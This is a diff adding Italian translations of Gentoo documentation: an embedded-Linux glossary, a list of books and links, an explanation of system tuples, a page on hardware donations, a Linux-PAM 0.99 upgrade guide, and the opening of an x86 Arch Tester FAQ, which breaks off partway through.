@@ -0,0 +1,69 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/terms.xml,v 1.3 2009/10/06 20:38:49 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Un breve dizionario per i termini, le abbreviazioni, le variabili ed il gergo
+comunemente usati nel mondo embedded.
+</abstract>
+
+<version>0.2</version>
+<date>2009-09-13</date>
+
+<section>
+<title>Termini</title>
+<body>
+
+<dl>
+  <dt><c>toolchain</c></dt>
+  <dd>
+    Collezione di programmi utilizzati per compilare/"debuggare"/ecc... codice
+    (come il compilatore (gcc), l'assembler/linker (binutils), la libreria C di
+    sistema (glibc), ed il debugger (gdb))
+  </dd>
+  <dt><c>cross-compilatore</c></dt>
+  <dd>
+    Una toolchain che funziona su un certa piattaforma ma compila codice che
+    funziona su un'altra (CHOST != CTARGET)
+  </dd>
+  <dt><c>canadian cross</c></dt>
+  <dd>
+    Il processo di generare un cross-compilatore che funzionerà su una
+    piattaforma differente da quella dove è stato compilato (CBUILD != CHOST
+    &amp;&amp; CHOST != CTARGET)
+  </dd>
+  <dt><c>CBUILD: Sistema di compilazione</c></dt>
+  <dd>Il tipo di sistema su cui vengono compilati i binari</dd>
+  <dt><c>CHOST: Sistema host</c></dt>
+  <dd>Il tipo di sistema su cui sono eseguiti i binari</dd>
+  <dt><c>CTARGET: Sistema di destinazione</c></dt>
+  <dd>Il tipo di sistema per cui vengono compilati i binari</dd>
+  <dt><c>sysroot: Root di Sistema</c></dt>
+  <dd>
+    La directory dove il compilatore cercherà i proprio header standard e le
+    proprie librerie
+  </dd>
+  <dt><c>hardfloat</c></dt>
+  <dd>
+    Il Sistema ha un'Unità a Virgola Mobile (Floating Point Unit (FPU)) per
+    gestire calcoli matematici a virgola mobile
+  </dd>
+  <dt><c>softfloat</c></dt>
+  <dd>
+    Il Sistema non è dotato di una FPU hardware, perciò tutte le operazioni a
+    virgola mobile sono approssimate in virgola fissa
+  </dd>
+  <dt><c>PIE</c></dt>
+  <dd>Position Independent Executable (-fPIE -pie)</dd>
+  <dt><c>PIC</c></dt>
+  <dd>Position Independent Code (-fPIC)</dd>
+  <dt><c>CRT</c></dt>
+  <dd>C RunTime</dd>
+</dl>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/the-more-you-know.xml b/xml/htdocs/proj/it/base/embedded/handbook/the-more-you-know.xml
new file mode 100644
index 00000000..f6c9a247
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/the-more-you-know.xml
@@ -0,0 +1,135 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/the-more-you-know.xml,v 1.2 2009/12/03 19:31:17 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Ulteriore documentazione per aumentare la propria conoscenza sul mondo Linux
+Embedded.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Libri</title>
+<subsection>
+<title>Libri sui Sistemi Embedded</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/belinuxsys/">Building Embedded
+    Linux Systems</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/dbhardware2/">Designing Embedded
+    Hardware</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/embsys2/">Programming Embedded
+    Systems</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.informit.com/store/product.aspx?isbn=0131679848">Embedded
+    Linux Primer</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.amazon.com/Embedded-Linux-System-Design-Development/dp/0849340586">
+    Embedded Linux System Design and Development</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Libri sul Kernel Linux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/linuxdrive3/">Linux Device
+    Drivers</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.oreilly.com/catalog/understandlk/">Understanding the Linux
+    Kernel</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/9780596100797/">Linux Kernel in a
+    Nutshell</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.informit.com/store/product.aspx?isbn=0131181637">Linux
+    Kernel Primer</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.oreilly.com/catalog/understandlni/">Understanding Linux
+    Network Internals</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.informit.com/store/product.aspx?isbn=0672327201">Linux
+    Kernel Development</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Collegamenti</title>
+<subsection>
+<title>Forum dedicati al mondo Embedded</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://ucdot.org/">Embedded Linux Developer Forum</uri>
+  </li>
+  <li><uri link="http://uclinux.org/">The uClinux Distribution</uri></li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Pagine relative alla cross-compilazione</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://sourceware.org/ml/crossgcc/">Cross GCC Mailing List</uri>
+  </li>
+  <li>
+    <uri
+    link="http://ymorin.is-a-geek.org/projects/crosstool">crosstool-NG</uri>
+  </li>
+  <li><uri link="http://www.kegel.com/crosstool/">Crosstool</uri></li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Progetti</title>
+<body>
+
+<ul>
+  <li><uri link="http://sourceware.org/binutils/">Binutils</uri></li>
+  <li><uri link="http://gcc.gnu.org/">GCC</uri></li>
+  <li><uri link="http://www.gnu.org/software/libc/">Glibc</uri></li>
+  <li><uri link="http://www.kernel.org/">Linux Kernel</uri></li>
+  <li><uri link="http://uclibc.org/">uClibc</uri></li>
+  <li><uri link="http://busybox.net/">BusyBox</uri></li>
+</ul>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/tuples.xml b/xml/htdocs/proj/it/base/embedded/handbook/tuples.xml
new file mode 100644
index 00000000..c91d70c4
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/tuples.xml
@@ -0,0 +1,163 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/tuples.xml,v 1.2 2008/08/18 12:19:20 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Stringhe di Sistema -- cosa sono e come interpretarle.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Retroscena</title>
+<body>
+
+<p>
+Il progetto <uri link="http://savannah.gnu.org/projects/config">GNU config</uri>
+esiste al fine di tener traccia di tutte le architetture conosciute e generare
+una breve e specifica stringa che la descriva in tutti i suoi aspetti rilevanti
+(per una toolchain).
+</p>
+
+<p>
+La forma canonica è:
+<b>architettura</b>-<b>produttore</b>-<b>kernel</b>-<b>sistema operativo</b>.
+Molte stringhe omettono il campo del produttore (dal momento che è completamente
+arbitrario). Il campo <b>sistema operativo</b> ha ampliato il proprio
+significato nel corso del tempo fino ad indicare, oggi, il tipo di userland e/o
+di ABI.
+</p>
+
+</body>
+</section>
+<section>
+<title>Esempi</title>
+<body>
+
+<p>
+Viene qui proposta una tabella (sicuramente incompleta) con alcune tra le più
+comuni configurazioni. Da notare che non tutte le permutazioni potrebbero
+funzionare in quanto certi campi (come <b>kernel</b> o <b>sistema operativo</b>)
+avranno senso solo se effettivamente esiste un "porting"
+dell'<b>architettura</b> su di essi.
+</p>
+
+<table>
+<tr>
+ <th>Architettura</th>
+ <th>Produttore</th>
+ <th>Kernel</th>
+ <th>Sistema Operativo</th>
+</tr>
+<tr>
+  <ti>
+    alpha <br/>
+    arm / armeb <br/>
+    avr / avr32 <br/>
+    bfin <br/>
+    cris <br/>
+    hppa / hppa1.1 / hppa2.0 / hppa64 <br/>
+    ia64 <br/>
+    i386 / i486 / i586 / i686 <br/>
+    m68k <br/>
+    mips / mipsel / mips64 / mips64el <br/>
+    nios / nios2 <br/>
+    powerpc / powerpc64 <br/>
+    sparc / sparcv8 / sparcv9 / sparc64 <br/>
+    s390 / s390x <br/>
+    sh / sh3 / sh4 / sheb / sh3eb / sh4eb / sh64 <br/>
+    vax <br/>
+    x86_64 <br/>
+  </ti>
+  <ti>
+    gentoo <br/>
+    pc <br/>
+    softfloat <c>[1]</c> <br/>
+    unknown <br/>
+  </ti>
+  <ti>
+    elf <c>[2]</c> <br/>
+    freebsd6.2 <br/>
+    linux <br/>
+    mingw32 / mingw64 <br/>
+    uclinux <c>[3]</c> <br/>
+  </ti>
+  <ti>
+    gnu <c>[4]</c> <br/>
+    gnueabi <c>[5]</c> <br/>
+    uclibc <c>[6]</c> <br/>
+    uclibceabi <br/>
+  </ti>
+</tr>
+</table>
+
+<ol>
+  <li> <!-- [1] -->
+    Ci si ricorda quando è stato detto che il campo <b>produttore</b> era
+    totalmente arbitrario? Questo è del tutto vero. Nel mondo Gentoo, è stato
+    scelto il valore <e>softfloat</e> per indicare softfloat toolchains. Se si
+    ha bisogno di una toolchain che supporti il softfloat, assicurarsi di
+    impostare il campo vendor con questo valore.
+  </li>
+  <li> <!-- [2] -->
+    Quando si usa <e>elf</e> come sistema operativo, si sta specificando che non
+    si vuole eseguire un sistema operativo, ma proprio del codice eseguito
+    direttamente sull'hardware. Questo è possibile unicamente tramite newlib
+    (con l'aiuto di libgloss).
+  </li>
+  <li> <!-- [3] -->
+    Usando  <e>uclinux</e> verranno generati dei binari FLAT che saranno
+    eseguiti su linux con la MMU disabilitata (chiamati anche no-mmu).
+  </li>
+  <li> <!-- [4] -->
+    Specificando <e>gnu</e> si indicano le glibc come libc di sistema.
+  </li>
+  <li> <!-- [5] -->
+    Il suffisso <e>eabi</e> funzionerà solo su un limitato numero di
+    architetture embedded (al momento solo arm e ppc). Indica infatti alla
+    toolchain di generare codice per la nuova Embedded ABI.
+  </li>
+  <li> <!-- [6] -->
+    Specificando <e>uclibc</e> si indicano le uClibc come libc di sistema.
+  </li>
+</ol>
+
+<p>
+Alcuni veloci esempi per dare una visione d'insieme. Se si volesse un ambiente
+glibc sotto Linux per un'architettura SuperH4, la stringa sarebbe semplicemente:
+<e>sh4-unknown-linux-gnu</e>. O se si preferisse eseguire del codice
+direttamente sull'hardware (senza sistema operativo), avendo un processore arm,
+la stringa sarebbe: <e>arm-elf</e>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Architetture e Kernel</title>
+<body>
+
+<p>
+Anche se in molti casi i valori usati da portage per <c>ARCH</c> e
+<c>KEYWORDS</c> corrispondono con i valori utilizzati dal kernel, non sempre è
+così. Non corrispondono esattamente neppure alla tabella riportata sopra. Col
+tempo poi, il kernel potrebbe rinominare o unificare alcune architetture, per
+questo non è possibile stilare una lista precisa senza tener traccia di ogni
+singola versione.
+</p>
+
+<p>
+Per avere la lista delle architetture, andare nella directory dei sorgenti del
+kernel e poi nella sottodirectory <path>arch</path>. Tenere a mente che il
+kernel mantiene sotto una stessa architettura diversi processori. Per cui anche
+se si possiede un processore omap o strong arm o xscale, tutte queste cpu fanno
+parte dell'architettura arm. Lo stesso vale per i processori i386, i486, i586 e
+i686: ricadono tutti nell'architettura i386.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/vendors.xml b/xml/htdocs/proj/it/base/embedded/handbook/vendors.xml
new file mode 100644
index 00000000..15cdc7aa
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/vendors.xml
@@ -0,0 +1,42 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/vendors.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Informazioni specifiche per i produttori che desiderano dare una mano.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Donazioni in Hardware</title>
+<body>
+
+<p>
+Ovviamente il primo modo per offrire supporto è attraverso l'hardware. È
+difficile sviluppare qualcosa senza avere l'hardware su cui testarlo. In genere
+ci sono due tipologie di macchine: (1) Piattaforme hardware generiche per lo
+sviluppo e (2) piattaforme specifiche per un particolare dispositivo. Una
+piattaforma generica può essere pensata come macchine per un uso "desktop"
+dove il sistema è autonomo, ha un ampio storage in locale (un harddisk per
+esempio e non una memoria flash), ed è dotato di connettività. Queste
+piattaforme sono molto utili perché permettono la generazione di software per
+una particolare architettura. Quando invece si fa riferimento a dispositivi
+specifici si intendono architetture come quelle di PDA o cellulari. L'obiettivo
+dello sviluppo in tal caso è quello di produrre un firmware utilizzabile su uno
+di questi dispositivi.
+</p>
+
+<p>
+Se vi avanza dell'hardware, sentitevi liberi di contattare il <mail
+link="embedded@gentoo.org">Gentoo Embedded team</mail> per trovare la
+migliore destinazione per la vostra donazione. Grazie!
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/pam/upgrade-0.99.xml b/xml/htdocs/proj/it/base/pam/upgrade-0.99.xml
new file mode 100644
index 00000000..54f91d5c
--- /dev/null
+++ b/xml/htdocs/proj/it/base/pam/upgrade-0.99.xml
@@ -0,0 +1,356 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/pam/upgrade-0.99.xml,v 1.3 2008/07/30 18:59:03 scen Exp $ -->
+
+<guide link="/proj/it/base/pam/upgrade-0.99.xml" lang="it">
+<title>Guida di aggiornamento a Linux-PAM 0.99</title>
+
+<author title="Autore">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questa guida aiuterà il lettore attraverso il percorso d'aggiornamento di
+Linux-PAM dalla versione 0.79 (o precedenti) alla 0.99
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.9</version>
+<date>2008-07-02</date>
+
+<chapter>
+<title>Guida all'aggiornamento</title>
+<section>
+<title>Introduzione</title>
+
+<body>
+
+<p>
+Questa guida è stata scritta per aiutare gli utenti attraverso il processo di
+aggiornamento dalle vecchie versioni di Linux-PAM alla nuova versione basata
+sulle serie 0.99. Con la 0.99, Gentoo non usa più patch provenienti da
+RedHat/Fedora, e di conseguenza alcune funzionalità precedentemente supportate
+non sono più disponibili (d'altra parte, anche RedHat ha cessato di supportare e
+fornire alcune di queste funzionalità).
+</p>
+
+<p>
+Per questo motivo, l'aggiornamento dal vecchio Linux-PAM al nuovo non è
+diretto, e potrebbe richiedere alcuni cambiamenti nella configurazione
+dell'autenticazione per il sistema o per i servizi se essa non è stata
+aggiornata automaticamente in precedenza. Inoltre alcuni moduli sono stati
+rimossi dal pacchetto <c>sys-libs/pam</c> e spostati in pacchetti a sé, per cui
+probabilmente si dovranno installarli se si fa affidamento alle funzionalità
+che essi mettono a disposizione.
+</p>
+
+<note>
+Questa guida non deve intimorire: se il proprio sistema è stato installato
+all'incirca dopo Settembre 2005, il percorso di aggiornamento risulterà essere
+abbastanza indolore, e questo documento sarà solamente una lettura interessante.
+Se il proprio sistema è più vecchio, ma è stato aggiornato costantemente, e PAM
+non è stato configurato manualmente, dovrebbe andare bene lo stesso, in quanto
+la maggior parte dei file di configurazione saranno già stati aggiornati per
+conto dell'utente. Se la propria configurazione di PAM è stata personalizzata,
+probabilmente bisognerà aggiornarla manualmente, ma a questo punto si dovrebbero
+avere già le conoscenze su come gestire tale operazione.
+</note>
+
+<p>
+Tenere presente che non ci sono perdite di funzionalità durante l'aggiornamento:
+la maggior parte delle patch RedHat sono attualmente implementate in Linux-PAM
+attraverso metodi leggermente diversi, per esempio la direttiva <c>include</c>
+che sostituisce il modulo deprecato <c>pam_stack</c>. I moduli sono stati
+spostati nei loro rispettivi pacchetti per mantenere il disegno pulito
+dell'ebuild, e per permettere ai pacchetti le cui configurazioni predefinite
+richiedono questi moduli opzionali di dipendere solamente da essi.
+</p>
+
+<p>
+È importante mantenere aggiornato Linux-PAM, perché è un importante componente
+del sistema, in quanto è il fornitore predefinito dell'autenticazione per Gentoo
+Linux. Per questa ragione si consiglia di dare un'alta priorità
+all'aggiornamento a Linux-PAM 0.99 per mantenere il sistema sicuro e protetto.
+</p>
+
+<impo>
+Dopo aver aggiornato PAM, da una qualsiasi versione ad una qualsiasi versione,
+bisognerà riavviare quei servizi che lo staranno usando, per evitare
+discrepanze di ABI interne. Tali servizi includono <c>sshd</c>,
+<c>vixie-cron</c> (e probabilmente qualsiasi altro servizio cron), server mail,
+e generalmente tutti quei servizi che accettano utenze.
+</impo>
+
+<p>
+Quello che gli utenti dovranno fare nella maggior parte dei casi è o installare
+un nuovo pacchetto (perché il modulo è stato migrato al di fuori dell'ebuild
+principale <c>sys-libs/pam</c>), o cambiare la configurazione in modo da non
+utilizzare il modulo che è stato rimosso. Se l'utente ha effettuato delle
+modifiche ai file di configurazione del servizio PAM, dovrebbe essere capace a
+gestire tutti i cambiamenti necessari. Per quelli che non hanno mai modificato
+un file di configurazione, c'è un unico cambiamento che necessita di essere
+eseguito, documentato nella sezione <uri link="#pam_stack">pam_stack e la
+direttiva include</uri>
+</p>
+
+<p>
+I cambiamenti devono essere applicati a ciascun file contenuto nella directory
+<path>/etc/pam.d/</path> (i file di configurazione di PAM). Assicurarsi di
+rimuovere eventuali file di backup (<path>*~</path>) prima di provare ad
+aggiornare <c>sys-libs/pam</c>, o il processo di emerge fallirà come misura di
+sicurezza.
+</p>
+
+<p>
+Come dispositivo di sicurezza, l'ebuild di <c>sys-libs/pam</c> controlla i file
+presenti in <path>/etc/pam.d/</path> per individuare eventuali moduli ora
+deprecati, ed interrompe il processo di merge in caso essi siano ancora usati,
+per evitare di bloccare l'accesso dell'utente al proprio sistema. A causa della
+natura dei file di configurazione, è probabile che ci siano ancora vecchi file
+di configurazione per pacchetti già rimossi, per cui si dovrebbe prima
+verificare che non ci siano file orfani (file che non appartengono a nessun
+pacchetto), per esempio attraverso il comando <c>qfile</c> presente in
+<c>app-portage/portage-utils</c>.
+</p>
+
+<impo>
+Il controllo di sicurezza controlla inoltre le linee commentate, ciò significa
+che bisognerà rimuovere anche i commenti che fanno riferimento ai moduli
+rimossi. Questa cosa è pensata come una sicurezza aggiuntiva in modo che gli
+utenti non decommentino linee che successivamente inibiscano l'autenticazione
+nel proprio sistema. Se si vogliono mantenere i commenti come documentazione, si
+consiglia di spezzare i nomi dei moduli (per esempio in <path>pam
+_stack.so</path>).
+</impo>
+
+<pre caption="usare qfile -o per verificare la presenza di file orfani">
+# <i>qfile -o /etc/pam.d/*</i>
+/etc/pam.d/sshd
+/etc/pam.d/system-auth~
+/etc/pam.d/vmware-authd
+</pre>
+
+<p>
+La maggior parte delle volte la presenza di file orfani in
+<path>/etc/pam.d</path> è dovuta ai file di backup creati dai vari editor, i cui
+nomi terminano con un carattere tilde (<b>~</b>). I file rimanenti, a meno che
+non si abbia creato autonomamente una configurazione particolare, si dovrebbero
+poter rimuovere senza problemi (o almeno spostati da un'altra parte), in quanto
+probabilmente saranno rimasugli di pacchetti precedentemente installati.
+Un'eccezione speciale per questa situazione è il file
+<path>/etc/pam.d/vmware-authd</path> per <c>vmware-server</c>, che viene creato
+dallo script <c>vmware-config.pl</c> (ma la sua rimozione dovrebbe essere sicura
+a meno che non lo si abbia modificato manualmente, basta rieseguire lo script).
+</p>
+
+</body>
+</section>
+<section>
+<title>Quali sono i cambiamenti principali?</title>
+<body>
+
+<p>
+Come è stato detto in precedenza, il principale cambiamento tra la versione
+0.78 e la 0.99 è che le patch RedHat non vengono più applicate, ma ciò non
+spiega cosa realmente cambia per gli utenti. Una prima differenza è che i
+seguenti moduli non sono più disponibili: <c>pam_stack</c>, <c>pam_pwdb</c> (ex
+flag USE <b>pwdb</b>), e <c>pam_timestamp</c>.
+</p>
+
+<p>
+La flag USE <b>pam_chroot</b> non è più presente, in quanto il modulo (in
+precedenza proveniente dalle patch RedHat) non viene più creato in
+<c>sys-libs/pam</c>, ed è stato spostato in <c>sys-auth/pam_chroot</c>.
+</p>
+
+<p>
+Inoltre, la flag USE <b>berkdb</b>, usata per creare il modulo
+<c>pam_userdb</c>, è stata rimossa; al suo posto si dovrà installare manualmente
+il pacchetto <c>sys-auth/pam_userdb</c> che fornisce il modulo con lo stesso
+nome. Inoltre la flag USE <b>pam_console</b> è stata rimossa, ed il relativo
+modulo non è più disponibile, si prega quindi di leggere la relativa sezione per
+ulteriori informazioni.
+</p>
+
+<p>
+Per tutti moduli mancanti, a parte <c>pam_stack</c>, l'utente può chiedere
+senza problemi, tramite Bugzilla, informazioni riguardo al loro destino,
+fornendo dei casi di utilizzo degli stessi, e non è escluso che vengano
+resuscitati all'interno dei loro rispettivi pacchetti.
+</p>
+
+</body>
+</section>
+<section>
+<title>La questione a pam_console</title>
+<body>
+
+<p>
+Il modulo <c>pam_console</c> era stato progettato da RedHat per permettere
+l'impostazione di permessi differenti sulle periferiche per gli utenti che
+effettuavano il login tramite accesso hardware (o in X attraverso le varie
+applicazioni grafiche di login, o attraverso la login da console). Questo
+approccio ha causato più di qualche problema in passato, con il risultato di
+utenti che non riuscivano a far funzionare le proprie periferiche, ragione per
+cui questo modulo è stato disabilitato in modo predefinito, e la sua
+abilitazione/disabilitazione è stata collegata alla flag USE
+<b>pam_console</b> per quegli utenti che ne avessero bisogno.
+</p>
+
+<p>
+Dalla versione 0.99 di Linux-PAM l'intero patchset di RedHat è stato rimosso, e
+<c>pam_console</c> non viene più fornito con il pacchetto. Sebbene sia
+disponibile ancora per un certo periodo di tempo tramite
+<c>sys-auth/pam_console</c> per chi ne avesse bisogno, un <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=199193">bug di sicurezza</uri> ha
+forzato il mascheramento e la rimozione di questo pacchetto.
+</p>
+
+<p>
+La necessità di utilizzare <c>pam_console</c> è mitigata dalla migrazione di
+HAL all'utilizzo alternativo di ConsoleKit. Le persone che hanno ancora la
+necessità di un funzionamento simile a quello di pam_console sono invitati ad
+aggiornare il proprio codice in modo farlo funzionare con ConsoleKit, oppure
+usare il gruppo <b>plugdev</b> insieme al modulo <c>pam_group</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Moduli spostati</title>
+<body>
+
+<p>
+Il modulo <c>pam_userdb</c>, usato per fornire l'autenticazione tramite un
+semplice file Berkley DB, era precedentemente disponibile attraverso la flag
+USE <b>berkdb</b>. Siccome questo modulo, per funzionare correttamente, richiede
+una copia statica in linea di Berkley DB, è stato spostato in un pacchetto a sé
+per semplificare la manutenzione di PAM, e ridurre il rischio di incappare in
+qualche problema. Il pacchetto è <c>sys-auth/pam_userdb</c>.
+</p>
+
+<p>
+È importante notare che, sebbene il codice del modulo sia aggiornato, preso
+direttamente dall'ultimo rilascio di PAM, la copia di Berkley DB è ancora della
+versione 4.3; non è stato pianificato nessun aggiornamento, in quanto tali
+aggiornamenti solitamente non sono retrocompatibili. Per questo motivo, a meno
+che non venga trovato un bug di sicurezza, c'è ancora bisogno di usare gli
+strumenti di Berkely DB 4.3 per manipolare il database degli utenti.
+</p>
+
+<p>
+Per gli utenti che hanno bisogno di questo modulo non è richiesto nient'altro
+che l'utilizzo di <c>sys-auth/pam_userdb</c>.
+</p>
+
+<p>
+La stessa cosa vale per il modulo <c>pam_chroot</c>, ora disponibile tramite
+<c>sys-auth/pam_chroot</c>, per cui sarà sufficiente utilizzare questo nuovo
+pacchetto.
+</p>
+
+<p>
+Anche il modulo <c>pam_radius</c> è stato spostato nel proprio pacchetto a sé,
+chiamato <c>sys-auth/pam_radius</c>, anche se non sia stato notato nulla nel
+momento della scrittura del documento riguardo alla compatibilità con la
+versione precedente che veniva fornita da Linux-PAM 0.99.
+</p>
+
+</body>
+</section>
+<section id="pam_stack">
+<title>pam_stack e la direttiva include</title>
+<body>
+
+<p>
+PAM è stato progettato per permettere la configurazione di software e servizi
+diversi con diversi mezzi di autenticazione, per esempio accettando utenti
+locali attraverso i normali mezzi di autenticazione Unix, ma anche permettere
+l'autenticazione di utenti mail tramite un database. Per la maggior parte degli
+utenti desktop e per quei servizi che non si aspettano connessioni da utenti non
+di sistema (come i server HTTP), quasi tutti i servizi useranno semplicemente la
+medesima autenticazione rispetto al database di sistema delle password.
+</p>
+
+<p>
+Per questa ragione, per evitare copie multiple dello stesso identico file di
+configurazione di PAM, molte distribuzioni Linux hanno cominciato a scrivere
+estensioni in modo da mantenere un singola configurazione <e>system</e> o
+meglio conosciuta come <e>system-auth</e>, e poi informare gli altri servizi di
+usarla per autenticarsi.
+</p>
+
+<p>
+Fino alla versione 0.77, Linux-PAM in sé non forniva nessuna di queste
+estensioni, e il pacchetto di Gentoo seguiva la soluzione di RedHat tramite il
+modulo <e>system-auth</e> che dirottava le chiamate interne di PAM per andare a
+leggere un seconda configurazione alternativa del servizio. Questo metodo non
+era standard, non era portabile, e richiedeva una pesante modifica alla
+struttura interna della libreria.
+</p>
+
+<p>
+Una soluzione alternativa è stata progettata invece da ALTLinux per OpenPam, ed
+era di usare una direttiva <c>include</c>, che doveva essere gestita
+internamente dalla implementazione di PAM, caricando in modo efficiente la
+configurazione per quel servizio e passare attaverso il modulo della classe
+equivalente. Questa è la medesima estensione implementata da Linux-Pam 0.78 in
+avanti, e l'unica opzione attualmente supportata da Gentoo (in quanto funziona
+su entrambe le implementazioni supportate).
+</p>
+
+<p>
+Per convertire un vecchio file di configurazione che usa <c>pam_stack</c> in
+uno aggiornato che funziona con la direttiva <c>include</c>, basta sostituire
+le linee come mostrato:
+</p>
+
+<pre caption="Sostituire l'utilizzo di pam_stack con la direttiva include">
+<comment>(La vecchia configurazione)</comment>
+auth    required     pam_stack.so    service=system-auth
+
+<comment>(Sostituirla con questo)</comment>
+<i>auth    include      system-auth</i>
+</pre>
+
+<impo>
+Ci sono quattro servizi nella configurazione di PAM: <c>auth</c>,
+<c>account</c>, <c>password</c> e <c>session</c>. Bisogna aggiornare i file di
+configurazione per tutti questi servizi, non solo per auth.
+</impo>
+
+<p>
+Si prega di notare che probabilmente bisognerà anche riordinare le chiamate
+durante l'applicazione di questo cambiamento, in quanto alcune volte i moduli
+come <c>pam_nologin</c> sono elencati dopo <c>pam_stack</c>, benché ora essi
+necessitino di essere elencati prima della direttiva <c>include</c>.
+</p>
+
+<pre caption="Gestire moduli multipli con pam_stack">
+<comment>(Vecchio modo)</comment>
+auth    required     pam_stack.so    service=system-auth
+auth    required     pam_nologin.so
+
+<comment>(Nuovo modo)</comment>
+auth    required     pam_nologin.so
+auth    include      system-auth
+</pre>
+
+<p>
+Questo cambiamento non porterà ad una perdita di funzionalità
+(<path>pam_stack</path> funziona solamente con la direttiva <c>required</c>), e
+dovrebbe essere sicuro in ogni caso. Tutte le configurazioni di PAM installate
+recentemente dagli ebuild contenuti nell'albero di Portage sono aggiornati per
+usare la nuova sintassi.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/base/x86/arch-testers-faq.xml b/xml/htdocs/proj/it/base/x86/arch-testers-faq.xml
new file mode 100644
index 00000000..b5d5bb79
--- /dev/null
+++ b/xml/htdocs/proj/it/base/x86/arch-testers-faq.xml
@@ -0,0 +1,487 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/x86/arch-testers-faq.xml,v 1.6 2010/08/25 21:29:58 scen Exp $-->
+
+<guide link="/proj/it/base/x86/arch-testers-faq.xml" lang="it">
+<title>Domande frequenti (FAQ) per gli Arch Tester x86 di Gentoo </title>
+
+<author title="Autore">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+<author title="Editore">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editore">
+  <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+</author>
+<author title="Traduttore">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+<abstract>
+Questo documento è la bibbia degli Arch Tester x86.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.7</version>
+<date>2010-08-12</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Queste FAQ cercano di dare risposta alle domande più comuni formulate circa
+l'essere Arch Tester del team x86. Le domande possono essere poste su irc a
+#gentoo-x86 o via mail all'autore.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande</title>
+<section>
+<title>Principi fondamentali</title>
+<body>
+
+<p>
+Domande generali riguardo l'Arch Testing.
+</p>
+
+<ul>
+  <li><uri link="#whoat">Chi è un Arch Tester?</uri></li>
+
+  <li><uri link="#whyat">Perché Gentoo ha bisogno di Arch Testers?</uri></li>
+
+  <li>
+    <uri link="#basicsk">Quali sono le conoscenze di base necessarie per
+     diventare un AT?</uri>
+  </li>
+  <li>
+     <uri link="#basicsys">Quali sono i minimi requisiti di sistema, se
